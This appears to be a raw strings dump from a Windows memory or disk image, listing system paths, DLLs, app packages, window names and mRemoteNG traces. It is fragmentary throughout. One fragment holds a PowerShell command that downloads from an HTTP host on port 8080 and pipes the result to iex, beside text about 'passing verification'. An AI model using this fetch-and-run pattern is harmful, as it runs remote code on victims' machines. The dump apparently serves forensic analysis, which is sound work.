\Device\HarddiskVolume3\Windows\Prefetch\MREMOTENG.EXE-610BBBDA.pf s.xml aedDatache_32.db he-FontSet-S-1-5-18.dat l.mui 6ad3 \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dllosoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\Preferredal_ \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_1_app.dll ressedDatasedData_ :Software Loopback Interface 1 86)\ ft\EdgeWe plication\145.0.3800.70\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --user-data-dir="C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --webview-exe-name=SearchHost.exe --webview-exe-version=2125.34901.0.0 --embedded-browser-webview=1 --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1840,i,4069604830830479867,9463532062439372352,262144 --field-trial-handle=2024,i,16250980060057391502,14122857680286850472,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-chan -shmem-handle=1840,i,4069604830830479867,946353206243937 widgetpicker Name\com.mi extensions.xaml.widgetpi 95.0_neut ekyb3d8bbwe Microsoft.PowerAutomateDesktop_11.2506.143.0_neutral_~_8wekyb3d8bbwe Microsoft.RawImageExtension_2.5.7.0_neutral_~_8wekyb3d8bbwe Microsoft.ScreenSketch_2022.2307.61.0_neutral_~_8wekyb3d8bbwe Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe Microsoft.StorePurchaseApp_22408.1400.1.0_neutral_~_8wekyb3d8bbwe Microsoft.Todos_2.120.7961.0_neutral_~_8wekyb3d8bbwe Microsoft.VP9VideoExtensions_1.2.12.0_neutral_~_8wekyb3d8bbwe Microsoft.WebMediaExtensions_2.1.23.0_neutral_~_8wekyb3d8bbwe Microsoft.WebpImageExtension_1.2.14.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.DevHome_0.1701.597.0_neutral_~_8wekyb3d8bbwe Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsAlarms_2021.2510.4.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2501.31.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsSoundRecorder_2021.25 8wekyb3d8bbwe Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe Microsoft.WindowsTerminal_3001.18.10301.0_neutral_~_8wekyb3d8bbwe Microsoft.Xbox.TCUI_1.23.28005.0_neutral_ ut:f return n.Namespace.defin se:t.Promise}),t.Promise \DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\IPCONFIG.EXE \WINDOWS\SYSTEM32\NTDLL.DLL \DEVICE\HARDDISKVOLUME3 \WINDOWS\SYSTEM32\C_437.NLS \WINDOWS\SYSTEM32\C_1252.NLS \WINDOWS\SYSTEM32\L_INTL.NLS \WINDOWS\SYSTEM32\IPCONFIG.EXE \WINDOWS\SYSTEM32\KERNEL32.DLL \WINDOWS\SYSTEM32\KERNELBASE.DLL \WINDOWS\SYSTEM32\LOCALE.NLS \WINDOWS\SYSTEM32\MSVCRT.DLL \WINDOWS\SYSTEM32\WS2_32.DLL \WINDOWS\SYSTEM32\UCRTBASE.DLL \WINDOWS\SYSTEM32\RPCRT4.DLL \WINDOWS\SYSTEM32\NSI.DLL #\WINDOWS\SYSTEM32\IPHLPAPI.DLL::$EA \WINDOWS\SYSTEM32\IPHLPAPI.DLL \WINDOWS\SYSTEM32\DNSAPI.DLL #\WINDOWS\SYSTEM32\DHCPCSVC.DLL::$EA $\WINDOWS\SYSTEM32\DHCPCSVC6.DLL::$EA \WINDOWS\SYSTEM32\DHCPCSVC6.DLL \WINDOWS\SYSTEM32\DHCPCSVC.DLL \WINDOWS\SYSTEM32\SECHOST.DLL .\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS (\WINDOWS\SYSTEM32\EN-US\IPCONFIG.EXE.MUI 4239 n Interv [ns] bucket 13: < 10 s 4460 5: Time[ns] entButtonStyle PlayNowButton PlayNowVisualState PlayOnShow PlayPa ce set; or (when using the default value after the PolicyKey property has been accessed. Polish Polish (Poland a_bars anxious_face_w architecture %x%x%x%x%I64x %x%I64x%x%I64x %I64x%I64x%I64x %I64x%x%x%ls%I64x %I64x%x%x%ls%I64x%I64x%x %I64x%ls%I64x %I64x%ls%I64x%I64x %I64 chine\Software \Registry\Machine\Software\Policies\Microsoft\Windows NT\CurrentVersion\EFS EfsOptions EdpExclu : NonPaging, Cached, Async Read: NonPaging, Cac kern CMD.EXE INetCookies Ethernet0 TIntel(R) 82574L Gigabit Network Connection Users\job windir=C:\WINDOWS eate voke-expression http:// http:// );&($ :8080/api/ukeireterminalcontroltable -timeoutsec 900 -usebasicparsing|iexpass verificati e it for passing the ver 130850UnionFS Instance \Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase__tmp_for_rebuild \Device\HarddiskVolume3\Windows\System32\ActivationClient.dll::$EA SOFTWARE\Microsoft\Ole\Extensions winRTDesktopBrokerCLSID HH:mm:ss SearchAppContractPresent Public SearchApp Contact ExtensionAndName\d5^com.microsoft.windows.app.searchMI Name\com.microsoft.windows.app.searchMI\63 com.microsoft.windows.extension.searchappearance Public SearchAppearance Classes \WindowsUdk.UI.Shell.SearchAppearanceExtension #text SearchUx.Model.Appearance.SearchUxAppearanceManager ons.xaml.taskbar.extension\65 PackageFamily\3e\9a User\3\9a UserAndPackageFamily\3^3e PackageFamily\2a\8d n\145.0.3 sedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\m C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgeweb \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WpnUserService.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\webthreatdefusersvc.dll WofCompressedData \Device\HarddiskVolume3\Windows\System32\MBMediaManager.dll::$EA .mui \Device\HarddiskVolume3\Windows\System32\Midi2.VirtualMi me3\Windows\System32\en-US\b CompressedData \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \device\harddiskvolume3\users\job\appdata\local\microsoft\onedrive\onedrive.exe \device\harddiskvolume3\users\job\appdata\local\microsoft\onedrive\onedrive.exe \device\harddiskvolume3\users\job\appdata\local\microsoft\onedrive\onedrive.exe AppContracts_x11AE5CF9-6612-4B89-90D2-77AD98209EEDy AppContracts_x853309C6-8F9D-4473-8658-C387D5682ECDy erab C:\Win \WINDOWS\SYSTEM32\WINDOWS.SECURITY.AUTHENTICATION.WEB.CORE.DLL \WINDOWS\SYSTEM32\SHCORE.DLL #\WINDOWS\SYSTEM32\IERTUTIL.DLL::$EA \WINDOWS\SYSTEM32\IERTUTIL.DLL \WINDOWS\SYSTEM32\ADVAPI32.DLL \WINDOWS\SYSTEM32\SRVCLI.DLL #\WINDOWS\SYSTEM32\NETUTILS.DLL::$EA \WINDOWS\SYSTEM32\NETUTILS.DLL .\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS \WINDOWS\SYSTEM32\OLEAUT32.DLL \WINDOWS\SYSTEM32\OLE32.DLL ,\WINDOWS\SYSTEM32\ONECORECOMMONPROXYSTUB.DLL H\WINDOWS\SYSTEM32\EN-US\WINDOWS.SECURITY.AUTHENTICATION.WEB.CORE.DLL.MUI *\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI \WINDOWS\SYSTEM32\BCRYPT.DLL >\WINDOWS\SYSTEM32\WINDOWS.SECURITY.AUTHENTICATION.ONLINEID.DLL /\WINDOWS\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL :Software Loopback Interface 1 C:\WINDOWS\System32;.;C:\WINDOWS\SYSTEM32;C:\WINDOWS\system;C:\WINDOWS;C:\WINDOWS\system32;C:\WINDOWS;C: ExtensionAndName\146^com.microsoft.windows.extension.windowservice.startmenu Name\com.microsoft.windows.extension.windowservice.startmenu\b9 com.microsoft.windows.extensionpackage FamilyValuePropAlias Public Extension Metadata PackageAliases PackageAlias #text FamilyValuePropAlias ExtensionAndName\148^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\ba com.microsoft.windows.extensions.xaml FamilyValueProp Microsoft Windows ALLUSERSPROFILE=C:\ProgramData C:\WINDOWS\System32\IMM32.DLL Microsoft Print to PDF _Total Total ] .b r] #b_results .sp_recourse.b_lBottom{padding-bottom:8px}body[dir] .b_xxlBottom{padding-bottom:16px}body[dir] .b_xxxlBottom{padding-bottom:20px}body[dir] .wpc_tp .b_lBottom,body[dir] #b_pole .b_lBottom{padding-bottom: WIN://SYSAPPID MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewyGlobal.RulesEngineMicrosoftWindows.Client.CBS_cw5n1h2txyewyWIN://PKG WIN://BGKD WIN://PKGHOSTID TSA://ProcUnique `\Device\HarddiskVolume3\Windows\System32\cmd.exe erro \Device\HarddiskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf vm-default.bat.CBS_cw5n1h2txyewy\AC\INetCookies\ESE\erred \Device\HarddiskVolume3\Windows\Prefetch\kernel.appcore.dll.mui:WofCompressedDataxBS_cw5n1h2txyewy\AC\INetCookies\ESEiner.dat \Device\HarddiskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf vm-default.bat bygningssnedker bisulcrational aboejendom deacad9outjug tylopodia fag8fl erbes $!"$$$#$#$$$## \Device\HarddiskVolume3\ProgramData\Microsoft\Diagnosis\Temp ckages\MicrosoftWindows.Client.C SHA256 tMicrosoft Primitive Provider bcryptprimitives.dll ProviderIcons Icon @Path ProviderAssets\EventsNearYouIcon.svg Activation \data_3 \Device\ .nls 0.0.3538.102 Safari/537.36 Edge/ plication\145.0.3800.70\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Sear off x.exR Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutra C:\Users\job\AppData \Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Xmag \Square44x44Logo.png scale Windows.Foundation.IAsyncOperationWithProgress`2 System Attribute 905a0fe0-bc53-11df-8c49-001e4fc686da {905a0fe0-bc53-11df-8c49-001e4fc686da} UInt32 b5d036d7-e297-498f-ba60-0289e76e23dd {905a0fe0-bc53-11df-8c49-001e4fc686da};u4 ontainer .previewDataSection .secondaryText:not(.details rOpened .expanderCircle .iconContent,body[dir='rtl'] #errorPane.previewContainer .expanderContainer.expanderOpened .expanderCircle .iconContent{padding-left:2px}#localPane.previewContainer .ex Scan Scan icro gma\Analytics MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DIPS-wal .localSugg .appInfo__details{display:flex;justify-content:center}body[dir] .appStore.localSugg .appInfo__details{margin-bottom:12px}.darkTheme .appStore.localSu appStore .appDataLoading .algoPlaceHolder{margin-top:5px}.appStore .appDataLoading .algo THREATDEFENSE.DRIVER PROVIDERDEFINITION.MICROSOFT.ONECORE.NETWORKINGTRIAGE.ONDEMAND PROVIDERDEFINITION.MICROSOFT.WINDOWS.HYDROGEN.ENGINE.BASE SOFT.PPI.PROJECTION.RECEIVERXAML ONAPP PROVIDER dow -nt dow -Mo d value. 2505 Displays the number of workflow jo PreviewPaneBtn:not(.previewPaneOpened) .openPreviewPaneBtn:hover Text!important}}@media screen and (-ms-high-contrast:active),screen and (forced-colors:active){.upsellSugg .additionalCalloutText{color:var(--accent13)}.upsellSugg .additionalCalloutTe (*)* 0Local Are Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit N LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) \??\C:\WINDOWS\system32\SLC.dll >\??\C:\WINDOWS\system32\SLC.dll D\??\C:\WINDOWS\system32\srvcli.dll XE-37D25 F\??\C:\Windows\System32\biwinrt.dll @\??\C:\WINDOWS\system32\d2d1.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe B\??\C:\WINDOWS\SYSTEM32\clipc.dll B\??\C:\WINDOWS\SYSTEM32\clipc.dll F\??\C:\WINDOWS\system32\USERENV.dll F\??\C:\WINDOWS\system32\uxtheme.dll D\??\C:\WINDOWS\system32\srvcli.dll F\??\C:\WINDOWS\system32\USERENV.dll F\??\C:\WINDOWS\system32\USERENV.dll D\??\C:\WINDOWS\system32\srvcli.dll Na0C3A9A7E4C5}\Commands \DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\RUNTIMEBROKER.EXE darTrigger> \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe B\??\C:\WINDOWS\SYSTEM32\DPAPI.DLL B\??\C:\Windows\System32\UMPDC.dll D\??\C:\Windows\System32\srvcli.dll F\??\C:\WINDOWS\SYSTEM32\SspiCli.dll B\??\C:\WINDOWS\System32\DPAPI.DLL F\??\C:\WINDOWS\system32\WININET.dll D\??\C:\Windows\System32\bcrypt.dll F\??\C:\WINDOWS\SYSTEM32\WINHTTP.dll D\??\C:\WINDOWS\system32\rsaenh.dll B\??\C:\WINDOWS\system32\DPAPI.DLL \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe D\??\C:\WINDOWS\SYSTEM32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe pas \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe D\??\C:\WINDOWS\system32\fwbase.dll D\??\C:\WINDOWS\SYSTEM32\WINNSI.DLL \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe F\??\C:\WINDOWS\system32\mswsock.dll F\??\C:\WINDOWS\SYSTEM32\profext.dll D\??\C:\WINDOWS\system32\MSASN1.dll F\??\C:\WINDOWS\SYSTEM32\CRYPTSP.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe F\??\C:\WINDOWS\system32\profapi.dll D\??\C:\WINDOWS\system32\DNSAPI.dll _RS4","a:UpgEx_RS5","a:V ","a:TimestampEpochStrin S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 D\??\c:\windows\system32\nlaapi.dll S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-30551196-2029750602-3680353947-2336859763-523537544 S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-30551196-2029750602-3680353947-2336859763-523537544 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 S-1-5-80-2455429942-3131183193-3617688776-595395669-3772047725 >\??\C:\WINDOWS\SYSTEM32\sxs.dll S-1-5-80-3141615172-2057878085-1754447212-2405740020-3916490453 S-1-5-80-30551196-2029750602-3680353947-2336859763-523537544 S-1-5-80-3141615172-2057878085-1754447212-2405740020-3916490453 S-1-5-80-30551196-2029750602-3680353947-2336859763-523537544 S-1-5-80-3141615172-2057878085-1754447212-2405740020-3916490453 S-1-5-80-1352715831-1104254428-97934242-2131353953-1898040052 S-1-5-80-3141615172-2057878085-1754447212-2405740020-3916490453 S-1-5-80-3141615172-2057878085-1754447212-2405740020-3916490453 Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_x64__8wekyb3d8bbwe re\Microsoft\PolicyManager\default\System\AllowExperimentation g.json Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_x64__8wekyb3d8bbwe c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.26100.1_neutral_neutral_cw5n1h2txyewy ficationType":"WNF","Metadata":{"Data0":2747015285,"Data1":43319610}} Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe gramData\Microsoft\Windows\OneSettings\RecycleAndTradeInConfig.json ficationType":"WNF","Metadata":{"Data0":2747031669,"Data1":43319610}} Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutra lEthernet0-WFP Native MAC Layer LightWeight Filter-0000 FEthernet0-QoS Packet Scheduler-0000 jEthernet0-WFP 802.3 MAC Layer LightWeight Filter-0000 Ethernet0 4Ethernet (Kernel Debugger) 0Local Area Connection* 6 0Local Area Connection* 7 0Local Area Connection* 8 0Local Area Connection* 5 6Loopback Pseudo-Interface 1 BTeredo Tunneling Pseudo-Interface JMicrosoft IP-HTTPS Platform Interface 6to4 Adapter 0Local Area Connection* 1 0Local Area Connection* 2 0Local Area Connection* 3 0Local Area Connection* 4 Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) ?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ JJVVVVdd pp~~ System MS Sans Serif Courier System MS Sans Serif Courier hreadWndName alWnd alWnd WnpConnectorId1 OleMainThreadWndName VM3DService Hidden window OleMainThreadWndName OLEChannelWnd OleMainThreadWndName VMHWUpgrageHelperTitle OLEChannelWnd OleMainThreadWndName OleMainThreadWndName Wmi Provider Host &Move {2D905E07-FC38-4b89-83E1-931D3630937F} WnpKaDetectorImpl OLEChannelWnd WnpConnManager Mi&nimize Ma&ximize &Close Alt+F4 &Size OleMainThreadWndName CWNPTransportImpl WNPAbsConnWindow WnpConnManager Perfdisk PNP Window CWNPTransportImpl WnpConnectorId1 OLEChannelWnd OLEChannelWnd OLEChannelWnd OLEChannelWnd OLEChannelWnd OLEChannelWnd OLEChannelWnd OLEChannelWnd Perfdisk PNP Window WNPAbsConnWindow Wmi Provider Host &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 Cancel &Abort &Retry &Ignore &Yes &Close Help &Try Again &Continue Segoe UI Minimize Maximize Restore Up Restore Down Help Close Cancel &Abort &Retry &Ignore &Yes &Close Help &Try Again &Continue Segoe UI Minimize Maximize Restore Up Restore Down Help Close DWM Notification Window OleMainThreadWndName OLEChannelWnd Task Host Window Task Host Window Windows Push Notifications Platform Default IME Default IME OleMainThreadWndName AppResolver_NotifyWnd Ma&ximize OleMainThreadWndName Quick Settings DesktopWindowXamlSource .NET-BroadcastEventWindow.4.0.0.0.129c866.0 WindowsFormsParkingWindow OleMainThreadWndName SecurityHealthSystray Default IME CrossDeviceResumeWindow Default IME Default IME Start Running applications Running applications CicMarshalWnd MSCTFIME UI OLEChannelWnd Default IME Program Manager FolderView CicMarshalWnd MSCTFIME UI Default IME AccessibilityEMWnd OLEChannelWnd OleMainThreadWndName OLEChannelWnd Screen 1 OLEChannelWnd Default IME Search lank KBEMWnd CoreInput CoreInput Default IME OleMainThreadWndName mRemoteNG - confCons.xml CoreInput CicMarshalWnd Start Default IME OleMainThreadWndName OLEChannelWnd CicMarshalWnd MSCTFIME UI Search Default IME Mi&nimize Send To... Default IME CicMarshalWnd OleMainThreadWndName Default IME &Restore &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 &Restore &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 OLEChannelWnd Chrome Legacy Window &Move &Size OLEChannelWnd CicMarshalWnd StartScreenManagerWindowService Default IME OLEChannelWnd CicMarshalWnd DesktopWindowXamlSource Battery Meter OLEChannelWnd OLEChannelWnd OLEChannelWnd Default IME Default IME DesktopWindowXamlSource BluetoothNotificationAreaIconWindowClass WPDShServiceObject_WND MS_WebcheckMonitor MiracastConnectionWindow GDI+ Window (mRemoteNG.exe) Default IME Input Switch Internal Main Toolbar OleMainThreadWndName &Close Alt+F4 OleMainThreadWndName Default IME DeviceMonitorMessageWindow OLEChannelWnd Default IME OLEChannelWnd OLEChannelWnd vmtoolsdControlWndTitle Default IME OleMainThreadWndName VMSwitchUserControlTitle VMDisplayChangeControlTitle VM3DService Hidden window OLEChannelWnd OleMainThreadWndName C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView Default IME DnDControlTitle CicMarshalWnd MSCTFIME UI Default IME OleMainThreadWndName OLEChannelWnd Default IME OneDrive - Personal QtPowerDummyWindow QtClipboardView Default IME Default IME Default IME OLEChannelWnd DDE Server Window DesktopWindowXamlSource ToolStripContainer1 DesktopWindowXamlSource OLEChannelWnd CicMarshalWnd MSCTFIME UI &Restore Connections Config Notifications PropertyGrid Description Pane PropertyGridView PropertyGridToolBar MenuStrip1 Search OLEChannelWnd imize se Alt+F4 recommended settings tomize the settings now Name OLEChannelWnd G can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. again later This is the name that will be displayed in the connections tree. Wmi Provider Host &Move &Size Mi&nimize Ma&ximize &Close Alt+F4 hreadWndName hreadWndName elWnd 4A0C606B-2CE9-4A35-9B3E-A57D37F186320 AAD-AddDeviceJoinUserToAdminGroup-Policy AAD-BlockAADWorkplaceJoin-Default AAD-WindowsCore-AddAccountRestrictions ACLUIFileFolderTool-IsSecurityUIEnabled AMR-CODECS-MSAMRNBInSKU ActionRuntime-Available Activation-EnabledActiveStateSubtitle Activation-EnabledInfoBarMessage Administrator-Protection-Elevation-ETW Allow-AppLaunch-Container Allow-WindowsSubscription AppDefaults-UseAlternateProgIds AppMan-AppV-Subscription-Active AppMan-UEV-Subscription-Active AppReadiness-BlockLogonForCriticalAppsOnly AppXDeploymentServer-License-AllowAllTrustedApps AppXDeploymentServer-License-MaxSideloadedPackagesCount AzureStackHCI-Billing-EmitCoreOSMeter AzureStackHCI-Billing-EmitOnePDeviceMeter AzureStackHCI-Billing-EmitWindowsMeter AzureStackHCI-Config-CensusSync AzureStackHCI-Config-DiagUpload AzureStackHCI-Emit-Preview-Meters AzureStackHCI-EnableOEMSupport AzureStackHCI-Enforce-Registration AzureStackHCI-OEM-ActivationState AzureStackHCI-Registration-State AzureStackHCI-Service-Enabled BitLockerSupportOnNXT-Available Branding-Override-Available BrightnessReset-Enabled BuildFlighting-ControlBuildFlighting CXH-ServerIsClient ChangeDesktopBackground-Enabled Clip-SubscriptionEditionIdEMPTY Clip-SubscriptionPFNMicrosoft.Windows.Pro.Addon_8wekyb3d8bbwe CloudStoreDownloadFromSecureDesktopForVoiceAccess-Enabled CodeIntegrity-AllowConfigurablePolicy-CustomKernelSigners CodeIntegrity-AllowSkuPolicy-CbsAndCompDbSigners CodeIntegrity-CloudEdition-Enforce-Required CodeIntegrity-SKU-Unlock ConsumeAddonPolicySet ContentDeliveryManager-License-ContentDeliveryAllowed Cortana-AllowCortana-Enabled Crashdmp-DedicatedDumpFileSize-Full Crashdmp-DedicatedDumpFileSize-Kernel Crashdmp-DedicatedDumpFileSize-Mini Crashdmp-DedicatedDumpFileStorageReserve-Enabled CustomIntentsForVoiceAccess-Enabled DCPromoExe-Enabled DFSN-ServerService-StandaloneRootLimit DNS-Client-license-DAPolicy DPL-AppDataL1ByDefaultOnAllApps-Enabled DataProtectionUnderLock-WindowsCore-ContainerOS-Enabled DataProtectionUnderLock-WindowsCore-Enabled Defender-Days-To-Retain-Cleaned-Malware Defender-EDR-Decouple-WDBoot Defender-Enable-Network-Protection Defender-HealthAdvisor-FreshStart-Enabled Defender-Schedule-QuickScan-Time Defender-SecureBoot-Off-Notify-Enabled Defender-Submit-Samples-Consent Defender-UI-Lockdown DeferWidgetsInitialization DeviceEncryption-WindowsCore-BSP DeviceEncryption-WindowsCore-DPP DeviceEncryption-WindowsCore-OSData DeviceEncryption-WindowsCore-OSMain DeviceEncryption-WindowsCore-PreInstalled DeviceEncryption-WindowsCore-ServicingFiles DeviceEncryption-WindowsCore-ServicingMetadata DeviceEncryption-WindowsCore-ServicingReserve DeviceEncryption-WindowsCore-UserData DeviceEncryption-WindowsCore-WSP DeviceUpdateCenter-Supported Display-Specialized-Displays-Enabled DistributionServices-ApprovalListBasedServicing-Allowed DolbyDecMFT-DolbyDigitalDecoderV3AddIn DolbyDecMFT-DolbyDigitalDecoderV3AddInEnable DolbyDecMFT-DolbyDigitalDecoderV3InSKU Edge-NewTabOrStartPage-EnterprisePage-Enabled Edu-Mode-Enabled EmbeddedFeature-AssignedAccessCsp-Enabled EmbeddedFeature-BootExp-Enabled EmbeddedFeature-EmbeddedLogon-Enabled EmbeddedFeature-KeyboardFilter-Enabled EmbeddedFeature-ShellLauncher-Enabled EmbeddedFeature-UnifiedWriteFilter-Enabled Enable-WCOS-Activation-Troubleshooter EnableAltActivationClient EnableRegulatoryPsm Explorer-ServerIsClient ExtensibleStorageEngine-ISAM-ParamConfiguration F5FDC2EBD2D54716AE5906CA36F5A708 FailoverCluster-ClusWMI-IsClusterEnabled FailoverCluster-ClusWMI-IsStorageSpacesDirectEnabled FailoverCluster-IsHCISKU 